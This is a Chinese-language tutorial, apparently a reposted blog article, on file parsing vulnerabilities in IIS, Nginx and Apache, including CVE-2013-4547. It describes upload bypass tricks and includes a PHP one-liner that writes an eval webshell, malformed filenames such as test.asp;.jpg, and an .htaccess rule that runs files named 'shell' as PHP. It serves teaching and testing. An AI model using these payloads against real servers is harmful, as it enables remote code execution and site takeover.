zoukankan      html  css  js  c++  java
  • 文件解析漏洞

    目录

    文件解析漏洞

    IIS解析漏洞

    目录解析漏洞(/test.asp/1.jpg)

    文件名解析漏洞(test.asp;.jpg)

    畸形解析漏洞(test.jpg/*.php)

    其他解析漏洞

    Ngnix解析漏洞

    畸形解析漏洞(test.jpg/*.php)

    %00空字节代码解析漏洞

    CVE-2013-4547(%20%00)

    Apache解析漏洞

    文件名解析漏洞

    .htaccess文件


    文件解析漏洞

    文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。

    比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。

    但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。

    IIS解析漏洞

    目录解析漏洞(/test.asp/1.jpg)

    IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

    文件名解析漏洞(test.asp;.jpg)

    IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa   .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

    畸形解析漏洞(test.jpg/*.php)

    微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

    在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

    将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

    临时解决办法:设置 cgi.fix_pathinfo为0

    这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。

    其他解析漏洞

    在windows环境下,xx.jpg[空格]  或 xx.jpg.  这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

    Ngnix解析漏洞

    畸形解析漏洞(test.jpg/*.php)

    漏洞原因:

    • php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
    • /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行

    在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为:  test.jpg

    在浏览器中访问 http://192.168.10.139/test.jpg  显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied.  。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示  Access denied.  。这是到底为啥?

    原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回  Access denied. 。

    这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz  时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件  /aaa.xxx/bbb.yyy/ccc.zzz ,若   /aaa.xxx/bbb.yyy  仍不存在,则继续去掉  /bbb.yyy ,以此类推。

    该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。

    但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。

    这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。

    为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)

    %00空字节代码解析漏洞

    原理Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

    在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

    •  Nginx 0.5.*
    •  Nginx 0.6.*
    •  Nginx 0.7 <= 0.7.65
    •  Nginx 0.8 <= 0.8.37

    CVE-2013-4547(%20%00)

    影响nginx版本:nginx 0.8.41 ~ 1.5.6

    这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:

    http://127.0.0.1/file.jpg .php  
    

    让Nginx认为文件“file.jpg ”的后缀为“.php”。

    来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。

    测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图

    修改请求

    修改完毕后Forward该请求,在浏览器中看到:

    成功显示图片

    我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。

    继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:

      <?php phpinfo(); ?>
    

    用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:

    修改请求

    修改完毕后 Forword 该请求,在浏览器中看到:Access  denied  ,好吧,又是这个。

    这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞

    Apache解析漏洞

    文件名解析漏洞

    apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar    .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png..(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。

    .htaccess文件

    如果在Apache中 .htaccess 可被执行,且可被上传,那可以尝试在 .htaccess 中写入。

    #这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
    <FilesMatch   "shell">  
    SetHandler  application/x-httpd-php  
    </FilesMatchc> 

    然后再上传 shell.jpg 的木马,这样shell.jpg 就可解析为 php 文件了

  • 相关阅读:
    Account group in ERP and its mapping relationship with CRM partner group
    错误消息Number not in interval XXX when downloading
    错误消息Form of address 0001 not designated for organization
    Algorithm类介绍(core)
    梯度下降与随机梯度下降
    反思
    绘图: matplotlib核心剖析
    ORB
    SIFT
    Harris角点
  • 原文地址:https://www.cnblogs.com/csnd/p/11808006.html
Copyright © 2011-2022 走看看